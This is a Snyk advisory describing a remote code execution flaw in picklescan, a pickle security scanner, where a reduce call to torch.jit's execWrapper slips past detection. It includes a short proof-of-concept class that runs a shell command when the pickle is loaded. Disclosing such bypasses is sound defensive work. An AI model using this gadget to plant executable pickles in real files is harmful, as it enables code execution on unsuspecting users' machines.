Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient detection in the reduce method involving the torch.jit.unsupported_tensor_ops.execWrapper function. An attacker can execute arbitrary code by crafting a malicious pickle file that bypasses security checks and is subsequently loaded.
import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops
class EvilTorchJitUnsupportedTensorOpsExecWrapper:
def __reduce__(self):
code = '__import__("os").system("whoami")'
glob = {}
loc = {}
return unsupported_tensor_ops.execWrapper, (code, glob, loc)